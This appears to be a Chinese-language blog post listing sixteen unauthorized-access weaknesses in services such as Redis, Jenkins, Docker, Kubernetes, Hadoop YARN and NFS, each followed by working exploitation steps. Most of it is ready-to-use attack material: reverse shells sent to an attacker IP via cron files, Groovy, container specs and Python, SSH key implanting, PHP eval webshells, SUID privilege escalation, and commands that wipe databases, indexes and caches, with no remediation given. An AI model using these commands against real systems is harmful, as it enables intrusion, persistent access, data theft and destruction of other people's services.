Loading ...
常见未授权漏洞及利用方式

1. Redis 未授权访问(默认端口 6379)

漏洞特征

  • 默认无密码验证,允许匿名登录;

  • 4.x/5.0.5 前版本支持通过主从复制加载恶意模块执行命令;

  • 高权限运行时可写入系统文件(如计划任务、SSH 密钥)。

利用方式

  • 计划任务反弹 Shell

    # 本地监听端口
    nc -lvp 4444  
    # 连接目标Redis并写入任务
    redis-cli -h 目标IP
    set x "\n* * * * * bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n"
    config set dir /var/spool/cron/
    config set dbfilename root
    save
  • 写入 SSH 公钥登录

    # 本地生成密钥对
    ssh-keygen -t rsa -P ''  
    # 写入目标authorized_keys
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
    redis-cli -h 目标IP -x set pub < foo.txt
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save
    # 登录目标
    ssh -i id_rsa root@目标IP
  • 写入 Webshell

    redis-cli -h 目标IP
    config set dir /var/www/html/  # Web目录路径
    config set dbfilename shell.php
    set webshell "<?php @eval($_POST['cmd']);?>"
    save

2. Jenkins 未授权访问(默认端口 8080)

漏洞特征

  • 管理面板可直接执行系统命令;

  • 未启用认证时,攻击者可访问/manage路径操控服务。

利用方式

  • 执行系统命令反弹 Shell 访问http://目标IP:8080/script,输入 Groovy 脚本:

    "bash -i >& /dev/tcp/攻击者IP/4444 0>&1".execute()
  • 写入 Webshell

    // 写入JSP木马到工作目录
    new File("/var/lib/jenkins/workspace/shell.jsp").write('<% out.println("Hello"); %>')

3. MongoDB 未授权访问(默认端口 27017)

漏洞特征

  • 默认无权限验证,允许匿名用户对数据库执行增删改查;

  • 绑定 0.0.0.0 时可被外网访问。

利用方式

# 连接目标数据库
mongo 目标IP:27017  
# 查看数据库列表
show dbs  
# 访问敏感数据库(如user库)
use user  
# 查看用户数据
db.users.find()  
# 删除数据(高危)
db.users.remove({})

4. ZooKeeper 未授权访问(默认端口 2181)

漏洞特征

  • 分布式协调服务,默认无认证;

  • 可通过命令获取系统信息或干扰服务。

利用方式

  • 获取系统环境信息

    echo envi | nc 目标IP 2181  # 返回Java环境、系统名称等
  • 连接服务执行操作

    ./zkCli.sh -server 目标IP:2181  # 连接服务
    ls /  # 查看节点
    delete /敏感节点  # 删除关键节点干扰服务

5. Elasticsearch 未授权访问(默认端口 9200/9300)

漏洞特征

  • 开源版本无默认认证,HTTP 接口可直接操作索引;

  • 可通过 API 读取、修改或删除数据。

利用方式

# 查看节点信息
curl http://目标IP:9200/_nodes  
# 查看索引数据
curl http://目标IP:9200/敏感索引/_search  
# 删除索引(高危)
curl -X DELETE http://目标IP:9200/敏感索引

6. Docker 未授权访问(默认端口 2375)

漏洞特征

  • Docker API 可远程操控容器;

  • 未限制访问时,攻击者可创建容器挂载宿主机目录。

利用方式

  • 列出容器并控制

    # 查看容器列表
    curl http://目标IP:2375/containers/json  
    # 启动容器
    curl -X POST http://目标IP:2375/containers/容器ID/start
  • 挂载宿主机目录获取权限

    # 创建挂载宿主机根目录的容器
    curl -X POST -H "Content-Type: application/json" http://目标IP:2375/containers/create -d '{
      "Image": "alpine",
      "Cmd": ["/bin/sh", "-c", "echo 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' > /mnt/var/spool/cron/root"],
      "HostConfig": {"Binds": ["/:/mnt"]}
    }'
    # 启动容器执行命令
    curl -X POST http://目标IP:2375/containers/新容器ID/start

7. JBoss 未授权访问(默认端口 8080)

漏洞特征

  • 低版本默认开放/jmx-console等管理接口;

  • 可直接部署恶意 WAR 包或执行命令。

利用方式

  • 部署 Webshell 访问http://目标IP:8080/jmx-console,通过jboss.web.deployment接口部署包含 webshell 的 WAR 包(如shell.war,访问路径http://目标IP:8080/shell/shell.jsp)。

  • 工具利用

    python jexboss.py -u http://目标IP:8080  # 自动检测并获取shell

8. Memcached 未授权访问(默认端口 11211)

漏洞特征

  • 内存缓存系统,默认无权限控制;

  • 公网暴露时可被直接读取缓存中的敏感数据(如用户会话、数据库连接信息)。

利用方式

# 连接目标服务
telnet 目标IP 11211  
# 查看缓存中的键
stats items  
# 读取指定键的内容(如键名为user:session)
get user:session  
# 清空缓存(干扰服务)
flush_all

9. ActiveMQ 未授权访问(默认端口 8161)

漏洞特征

  • 消息中间件,默认管理后台路径/admin,弱口令(admin/admin)常见;

  • 未授权可查看队列、发送恶意消息。

利用方式

  • 登录管理后台 访问http://目标IP:8161/admin,使用默认账号 admin/admin 登录,查看Queues列表,发送包含恶意代码的消息(如触发消费端代码执行)。

  • 文件上传 Getshell 利用/fileserver接口上传 webshell(需路径遍历漏洞配合):

    curl -X PUT http://目标IP:8161/fileserver/../webapps/api/shell.jsp --data-binary '<% out.println("Hello"); %>'

10. Jupyter Notebook 未授权访问(默认端口 8888)

漏洞特征

  • Python 交互式笔记本,未配置密码时可直接访问;

  • 支持执行 Python 代码,可调用系统命令。

利用方式

  • 执行系统命令 访问http://目标IP:8888,创建新的 “Console”,输入 Python 代码:

    import os
    os.system("bash -i >& /dev/tcp/攻击者IP/4444 0>&1")  # 反弹shell
  • 文件操作

    # 读取敏感文件
    with open("/etc/passwd", "r") as f:
        print(f.read())

11. Hadoop YARN 未授权访问(默认端口 8088)

漏洞特征

  • 分布式资源管理器,未授权可访问/ws/v1/cluster等接口;

  • 可提交包含恶意命令的应用程序。

利用方式

  • 提交恶意应用

    使用 Python 脚本提交应用,执行反弹 shell 命令:

    # 参考脚本:yarn-rce.py
    import requests
    url = "http://目标IP:8088/ws/v1/cluster/apps/new-application"
    app_id = requests.post(url).json()["application-id"]
    payload = {
        "application-id": app_id,
        "am-container-spec": {
            "commands": {"command": "bash -i >& /dev/tcp/攻击者IP/4444 0>&1"}
        }
    }
    requests.post("http://目标IP:8088/ws/v1/cluster/apps", json=payload)

12. Kubernetes API 未授权访问(默认端口 8080/10250)

漏洞特征

  • 容器集群管理接口,未限制访问时可操控集群资源;

  • 可创建 Pod、删除节点等。

利用方式

  • 创建恶意 Pod

    # 发送创建Pod请求(挂载宿主机根目录)
    curl -X POST -H "Content-Type: application/json" http://目标IP:8080/api/v1/namespaces/default/pods -d '{
      "apiVersion": "v1",
      "kind": "Pod",
      "spec": {
        "containers": [{
          "name": "test",
          "image": "alpine",
          "command": ["/bin/sh", "-c", "echo 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1' > /host/var/spool/cron/root"],
          "volumeMounts": [{"name": "host", "mountPath": "/host"}]
        }],
        "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
      }
    }'

13. RabbitMQ 未授权访问(常见端口 15672、15692、25672)

漏洞特征

  • 消息中间件,默认管理界面端口 15672(HTTP)、25672(AMQP 协议),15692(HTTPS,若启用);

  • 默认账号guest/guest仅限本地访问,配置错误时可能允许远程登录;未设置认证时可直接操作队列。

利用方式

  • 登录管理界面操作队列 访问http://目标IP:15672,尝试用guest/guest登录(若远程可访问)。成功后:

    • 查看队列列表:获取Queues中存储的消息类型、数量等信息;

    • 发送恶意消息:向队列提交含恶意代码的消息(如触发消费端代码执行漏洞);

    • 删除关键队列:执行Delete操作中断业务通信。

  • 通过 AMQP 协议远程操控 使用pika(Python 库)连接 25672 端口,未授权时可直接发送 / 接收消息:

    import pika
    connection = pika.BlockingConnection(pika.ConnectionParameters('目标IP', 25672))
    channel = connection.channel()
    # 发送恶意消息到队列
    channel.basic_publish(exchange='', routing_key='敏感队列名', body='恶意代码')
    connection.close()

14. LDAP 未授权访问(默认端口 389、636)

漏洞特征

  • 轻量级目录访问协议,用于存储用户信息、组织结构等;

  • 默认无认证机制,公网暴露时可被枚举敏感数据(如用户名、邮箱、权限组)。

利用方式

  • 枚举目录信息 使用ldapsearch工具查询目录结构:

    # 匿名查询所有数据
    ldapsearch -x -h 目标IP -p 389 -b "dc=example,dc=com" "(objectClass=*)"

    结果可能包含:

    • 用户列表:cn=user1,ou=users,dc=example,dc=com及密码哈希;

    • 权限组:cn=admin,ou=groups,dc=example,dc=com的成员信息。

  • 修改用户权限(配置不当场景) 若目录允许匿名写入,可添加用户到管理员组:

    ldapmodify -x -h 目标IP -D "cn=admin,dc=example,dc=com" -f add_admin.ldif

    add_admin.ldif中定义将用户添加至admin组的操作)

15. FTP 未授权访问(默认端口 21)

漏洞特征

  • 文件传输协议,默认支持匿名登录(用户名anonymous,密码任意);

  • 配置不当可导致敏感文件泄露或恶意文件上传。

利用方式

  • 匿名登录下载敏感文件 使用ftp命令或 FileZilla 连接:

    ftp 目标IP 21
    # 用户名输入anonymous,密码留空
    ftp> ls  # 列出共享目录
    ftp> get 数据库备份.sql  # 下载敏感文件
  • 上传恶意文件获取权限 若目录可写,上传反弹 shell 脚本(如shell.sh):

    ftp> put shell.sh  # 上传脚本至服务器
    # 若服务器存在自动执行机制(如定时任务),脚本触发后反弹shell

16. NFS 未授权访问(常见端口 2049、20048)

漏洞特征

  • 网络文件系统,用于共享目录;

  • 配置*(rw,no_root_squash)时,所有主机可读写共享目录,甚至获取 root 权限。

利用方式

  • 挂载共享目录窃取数据

    # 查看共享目录
    showmount -e 目标IP  # 输出:/data *(rw,no_root_squash)
    # 挂载到本地
    mount -t nfs 目标IP:/data /tmp/nfs
    # 访问敏感文件
    cat /tmp/nfs/企业财务数据.xlsx
  • 通过no_root_squash提权 在本地创建含 SUID 权限的恶意程序,上传至共享目录:

    gcc -o /tmp/nfs/shell shell.c  # shell.c含setuid(0)代码
    chmod 4777 /tmp/nfs/shell

    在目标服务器执行/data/shell即可获取 root 权限。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇